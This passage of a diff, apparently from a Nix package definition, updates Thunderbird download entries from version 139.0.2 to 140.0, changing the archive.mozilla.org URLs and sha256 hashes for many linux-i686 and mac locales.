+      sha256 = "a4043c636233c7ae06aa9e2bcafc92bb0cd2a020e52a6da82bca88e8cf125e47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hy-AM/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hy-AM/thunderbird-140.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "b471fee3eb6a3b99ac4f725becb3f601d19bec8846a58e7fe6a2ca3c56f04753";
+      sha256 = "4b339dd83e431c91b9ff29308ab585a26aa95e23d248e8bf11115255693ce275";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/id/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/id/thunderbird-140.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "a63d0ed8cc126418cd091bc83dbda70fde8386851a210df80de082ce7d5f7ec4";
+      sha256 = "8b91323db69d9c70aacf78d58516b26a61145654ec158d81af0e59813abf4127";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/is/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/is/thunderbird-140.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "46ea1c252119a08f67a617f03cd41ddcac1527dc8580046f6d7ab0b20a21f160";
+      sha256 = "20132bf94b743c43605f1c1627d8e493a8eed3eebac4c174ad036228721ee958";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/it/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/it/thunderbird-140.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "5bab030946df404f59cfaed24f4da0093cd80412b0b2481811d14ee526040420";
+      sha256 = "75eb75dc9869326984f15391cb855588399a201a35ee3c74ddbb04dac62f723e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ja/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ja/thunderbird-140.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "544d91494571e8d087e5ca4f8f91e2ab0174732abb1d279afa993a0b59d74a08";
+      sha256 = "f9b2477ef6f6aeb89587c4f26c0be6a8faf2b295df4885539c90b5897947b2b7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ka/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ka/thunderbird-140.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "119ec25a042e86c10e6177c010ba4d997fe1e9ea318648ae0997d2ef1bb7f0c5";
+      sha256 = "7ea6caffff18eb871593a94d4a79c5a1dac5933be29ffdf89fabaf2a8e1d87a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/kab/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/kab/thunderbird-140.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "7026bb2dafa0515fb627fd83f421f886ee7cd7d83f1b2f844d5c82fc1563811a";
+      sha256 = "72606d61c2c8632d594be3c96bc735430c1c7ee786355671404e226b5efb8623";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/kk/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/kk/thunderbird-140.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "fc45f5780091bec2d0b6af5e36d1afe6ae0e260caf376920396cf84539698769";
+      sha256 = "9ab86be14f7e53ecd6a40a8d8ee57cfd8f12c62e3c6d4622d32420f912b0ea2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ko/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ko/thunderbird-140.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "f543b32938ca1c3b592747f7a679c6232c904a970d7455032acbc95c56f916ce";
+      sha256 = "822a1b4fd9c0b8bc3210292024a8c7e1e688208b9a9bbc6b8b1fcb9cc20ad102";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/lt/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/lt/thunderbird-140.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "6923123d16ce0ca096e68287da656171186cec69c302bb670566e1fe5d11c2fe";
+      sha256 = "e9c44ac87b9437e5d1502dfcf17bd5453f9fe252c9e2c41b15b3ce0445143457";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/lv/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/lv/thunderbird-140.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "64fe698210c6dd3deadb21cb0c4081e54e36daf1050a39292afb58d3029a46a8";
+      sha256 = "f2c7bea3b5888bddbd6502f65140cec0f7680a9edaed4c0738832cd5edd91740";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ms/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ms/thunderbird-140.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "29fd892970167197bea3c185d76f40485b1df6cd4fb84a591b63b4dbabb6382b";
+      sha256 = "8a9c1e30d9195a8cb50a797b15fb9f4462429eeacd58e055b172f686149e7c8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nb-NO/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nb-NO/thunderbird-140.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "ee4930d126e47def1372e37b240d364acd9ed94cb8158e5124a9a5101b23c43c";
+      sha256 = "73a05643c78e9da748898274e2df7fac2aa41fddc61860661bb61f0e7e6d5553";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nl/thunderbird-140.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "586791b524608a950339be697c6c0dc59328f624526b1d92da1f6042cbcfe473";
+      sha256 = "f7015c51d4ee48b1042056f2b59ebcaf2af91aa4b3f810a77ac5b76d2694c707";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/nn-NO/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nn-NO/thunderbird-140.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "defad7e7923e171af30922a422f125c50f2a5aa60a2f805bf23a5054772853f8";
+      sha256 = "f6cf5fa7e9a4748666289a3da001e7c5f57996603df8e516c29381a5c5c5adcb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pa-IN/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pa-IN/thunderbird-140.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "fb9b4af5628bf0eb4b393fdca6f454ee7db3de32c515566782fb796dc305371f";
+      sha256 = "e0f1d2c53919030437e8f232ed7ec8df0a5fe5ee0a6fe028be264fd082f797d7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pl/thunderbird-140.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "796eb258b22557cb60f7697c2475d8c16be3ac6f985c360c6fd7f8302e383eaa";
+      sha256 = "ddef5b7962ccc2013872bebeb7cbea5ab80d6b81404a0716b87e0bfb7b693fe7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pt-BR/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pt-BR/thunderbird-140.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "5ef494b8549e11a0e78ac7bb16ea866167fdcee39585c269734ac9bd1c50b058";
+      sha256 = "a0e63aba6273fc6968388999ba37e9451f015a98b4b11b2c33db4d91c7901d33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/pt-PT/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pt-PT/thunderbird-140.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "fc8123905a82e7da9e13154d0f6b029064cdbfe397c64e08040492b46ef5b327";
+      sha256 = "4e5928c237cd89d5eb112f1377d8d6a2ca6f356f71e0578125b82676eefb4b95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/rm/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/rm/thunderbird-140.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "e3cafa658e415528b4bd597becf2dd3aeb4871a0dc0d8f70ffb291b2a4918d38";
+      sha256 = "b4735becdcbf517487eb0a7d164b9a4262a54f2af3051cf4246891e209b9461c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ro/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ro/thunderbird-140.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "f9d21387a574f7fdf4bc72b8fd5f349a6a97d6a4bbfdb2c526c242c417e7227f";
+      sha256 = "881ced0d351edceeccf6b35657c25b50a089c1dbbfc67e8fcb2deac49b2a92df";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ru/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ru/thunderbird-140.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "f1a4714261183df17b037910253305ea7301ba8cafa66cb45fb68b159292d7a6";
+      sha256 = "f891e5752e6d241e19360e1384b961170a943a4b74e560ec8cf2a06cd62171ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sk/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sk/thunderbird-140.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "917b5c547936497403cd2b146155921c0ded6c6ed348e83a0534906940b2885e";
+      sha256 = "062862c0e8bc406449d191f0bbece63ea40d514e0462366663eed1f4a37ba971";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sl/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sl/thunderbird-140.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "083fbd0f56ecddd4f00466790f71f70e80453622f9df2da1d8ece8ccca86495c";
+      sha256 = "4c8896aa30f9b32e88f803978a1b75ebe9856254935996b6fa88fa76855bff38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sq/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sq/thunderbird-140.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "b7c1c94f601a28693ecb1a8bb812f76e4737a4c17c97598fc4ecb55e96efa762";
+      sha256 = "e6a43d7bf0f7d764a77a1a722ef65811341be1d015c3908890f585a2bc8369bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sr/thunderbird-140.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "7a69d6e63d0b5a90e6ed9ca3323eafa343c36c9c1c7a4f998d3e804fe9ffb669";
+      sha256 = "bc7d6c8d8d76a7b38f5b5fabf3b3bec7c0ca89f22c7e1e19ce84f940ea68ccad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/sv-SE/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sv-SE/thunderbird-140.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "46f4bae52bb547162f09fe26d834b5476a939371e96e2e0d2f0d185f3a6f5c10";
+      sha256 = "55925cb98253a3f99c587a0ee4528d23bf461ca896fb9471c6ec9dacdab95d66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/th/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/th/thunderbird-140.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "f55ce5dcddefcd1054514901ff5918f0482c6e9606616fbc536c3e46ab8bd139";
+      sha256 = "e9e5b38971157790a5d465769bac529e119f789de873b3bec39c8b3e2d1f720b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/tr/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/tr/thunderbird-140.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "9cb5477b1f8c2a5417a8b4dfd3af2b4fc208a237c98a275ae4e0a6b56b9fcda7";
+      sha256 = "a929741aa566daf92d95320e8e3ce29629499bb43772195fa919b57d155be1a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/uk/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/uk/thunderbird-140.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "b6160900240f929d8732066000751d225d453eef13202bd14e9a70ba7b41813e";
+      sha256 = "fcfa2eda01b46c676d6aec712debd649348e9b4451bba08668228d661073a03b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/uz/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/uz/thunderbird-140.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "20abb2db65a2ca78f314d4f98f7980b013d1cd5e821206402b20afe44d17a2a1";
+      sha256 = "600b636148de51f010f37d8d14aedb290f73837091621c4346d74a4cb8359970";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/vi/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/vi/thunderbird-140.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "94b19085f1faba4a43b35e20e508058481fea8dea53c933e3eb8ccdb055f9107";
+      sha256 = "f29356887a4f781b129b4038db9c8b692f6a0952d8297ac78ed236fe2fd42536";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/zh-CN/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/zh-CN/thunderbird-140.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "ee8fe6fb8f1ad0246d776669b155da2b3807efd2a97ba4d8d470e613f7368624";
+      sha256 = "8a9e51234e8b6822da950ee53c252a741ae9ee1daea2367bb0ca0f72742302fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/zh-TW/thunderbird-139.0.2.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/zh-TW/thunderbird-140.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "1487702e849700c49b2a2c4966d129fff2d8b593e28da76a4c59c431c5c8d6ed";
+      sha256 = "1880865c7fc077a70c954f53f5058fffbe07ee617f1bcf2d778cba2020cf1b41";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/af/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/af/Thunderbird%20140.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "99b6cccc4eb25cb2ba996e7c2a5661c7b1f321172f4f7b99feb3af13d11bd771";
+      sha256 = "e91d7f46433c767c98498768e9fbccc539411442f7ad41b2c4292691351c784c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ar/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ar/Thunderbird%20140.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "b6e290908664af8d4eddd1ff87ccafa347dbd8a1f8e9e525e9597efa06152a7e";
+      sha256 = "f11ed7f71473b4bccf32ad4513b34cb8a2b0728e974cfbd2fbcd584ad4a6c7e2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ast/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ast/Thunderbird%20140.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "a8f93706a1d527245eb8518b6dd578444c66ffe9fa2988803dc46677ee34cb71";
+      sha256 = "10dcb7006b4ecfbb70e76aadfce0678ab60a12a87163cb00777f0bc2c5fec0fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/be/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/be/Thunderbird%20140.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "d091cfe07d3caf4f7eaf43f887c9aa2a13a11137b3d79a8758a0321474ad35c0";
+      sha256 = "caee7a92770a61d0339ffbb4768dc59857a5ae7903b1c4056d34f2b941cdb97b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/bg/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/bg/Thunderbird%20140.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "e51370e8a83494522536d3baf10f62bfb8583eaf92d663024aa227b145ca3e99";
+      sha256 = "3296326478ff0f022f0975e643c908d17525279061d8ee2b2a6410ff9a28d385";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/br/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/br/Thunderbird%20140.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "04f8805e10f645f678baf227a6f65c88e37ebdea8e73e4fb633e5960b8be4cdf";
+      sha256 = "c40e3be45d4cb1a724d21441e4b60e0fb69c3180783a955e9147251a3fc8d3f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ca/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ca/Thunderbird%20140.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "fa5239daad9d2a4d38d54d27e151e545329e144653454897d8a999e02d75f5c6";
+      sha256 = "02b39a0ec2869741c482c4f75e91464a378cc14547e2a51b7742534d23c77302";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cak/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cak/Thunderbird%20140.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "de5119f83f0b9cc7a903ac88f1b6d667cb3fba29b8536792b80fa17e5392ae08";
+      sha256 = "c9ff87e4cc3db36c1c4cb427666e889676567b6c348eaf268ead21e696b2b286";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cs/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cs/Thunderbird%20140.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "8b790dfa4555e91ea8696086ff0fb234cc7d836b5267742adf41470a16bc6118";
+      sha256 = "66d6da3986c06fe82c9a407c74ce7a70c78bec7dcca6dfe4d37c5589e209882c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/cy/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cy/Thunderbird%20140.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "fb585c04de777dde121f415591d92b1af9d7a1d48cd3d34483d4f6333a5882e8";
+      sha256 = "04ae480b5f73048b9c9af3b57e3de1e6afa78cb518706010ff278c4cae40f3f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/da/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/da/Thunderbird%20140.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "9220241ddd83e9228cce19af38f214e5f33881ae31473d61356b735e10a99af4";
+      sha256 = "8ca809dff042734d644d8728a48c4208a73a0d1e70f86a032ef47f5cb86278f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/de/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/de/Thunderbird%20140.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "e79485fa5396c270d40e900b2ca18a9362bbd200cc349f9e5b0c4b575e27d469";
+      sha256 = "242962d9d99725ca033471494c0b6f20c5ca289588e8765296891bb6f2052eae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/dsb/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/dsb/Thunderbird%20140.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "485d894e39295de13e2a057b97b7516d50ef8a95fb78129fb1aec3366fc47a15";
+      sha256 = "3d67db019027d6c7e62adb1b60ca227839440d68e699ddb388e1218b97485faf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/el/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/el/Thunderbird%20140.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "2e907cf8c39668761bf4e2465c4253c97e44b7056c45385903405d09877c1643";
+      sha256 = "f50f066f2097e0cd5ef4716d8fe70ab315d6edbb855230b523303ab8ce6f5ff3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-CA/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-CA/Thunderbird%20140.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "ddc491a837452668e58eaf210b028cb8cb976e39ee7da8e38710f5d6f0b0103a";
+      sha256 = "93a6e80d8c19c81d9dc3f908b41e99cdafddd2eb2e14150b148cdccb5468f9a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-GB/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-GB/Thunderbird%20140.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d6db8f91f2f257968edb8da8a50f8b631dc7077c1425e08e91cbe4619c79017e";
+      sha256 = "d1764196b7050fee605ff323bd9e0ae94a6a797ed014e14eaaed102c81c37f57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/en-US/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-US/Thunderbird%20140.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "b7d1168590e0a777320bf8be4628cbd74d0385537187608fea0aff796d5d6805";
+      sha256 = "34a1e19d932e9f01bb7197ff510c72fa3ef97dcfc413839bce5e188e292157db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-AR/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-AR/Thunderbird%20140.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "e595a17a6c22bd6bde428de42045db4cb8471202cd3d493874cecaf30ff5c53e";
+      sha256 = "fae74cf7b68f2055329de913867f3ed0075a6fcb373a5cc4c3a0013a3f8a6afb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-ES/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-ES/Thunderbird%20140.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "ca22719fbd05f2735c22a02788ab67e3143f5416ced0779a23f121b1b2c2888d";
+      sha256 = "4a96697a2673c1a6ccc8aa394589d89b67d6965a97f07da11e410c21d7588d7d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/es-MX/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-MX/Thunderbird%20140.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "cd31aadea61077b041dc52e0e932003e98e912a606f325538c909b8a47e60e6d";
+      sha256 = "7c225e7f189fe567bc6c7759fb01446fd398d9e194e8be956ac0edf33b7de008";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/et/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/et/Thunderbird%20140.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "4609da896d29d21c4d1a01b7706ee6a11bafc1ab1fdb24c28216c251d22453c2";
+      sha256 = "9e3ebeb24ebba2e87d2e1a22a47a9bb31b81cb891a6a94b4be6aba92dcd9ab77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/eu/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/eu/Thunderbird%20140.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "5747357e5c51ad5964a6d9d7d8a2113584d7c69e862d0e883457f340f42cce66";
+      sha256 = "35661b198f01c2c76c096254612a7160440127519cf4e0c97435a83fd1e4bb45";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fi/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fi/Thunderbird%20140.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "c46e1516a9f225db947d30474d3db24dfe52fb615ff65d3fb9215e657283a0e9";
+      sha256 = "fd606dc9ae8dee3aa1accb799ea94daa1fa7fe6c203de961ae61710f58e65941";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fr/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fr/Thunderbird%20140.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "f015ae56a6aca04658ed6cca2efd0d4c148d78b6ec0034ac5589388bf578a40e";
+      sha256 = "71103db6af97b921a73b1f1963e420c17b08eb63d75f015778b2213046f53e70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/fy-NL/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fy-NL/Thunderbird%20140.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "a5e64f9049dd98e8c002658bb86fe51dfd4fb42c5f26f527ef755fa76ef52380";
+      sha256 = "6886f636b4ce8a2c711f051ca6edec37396b399c61c212c4e81b82e8fb0ffe90";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ga-IE/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ga-IE/Thunderbird%20140.0.dmg";
       locale = "ga-IE";
       arch = "mac";
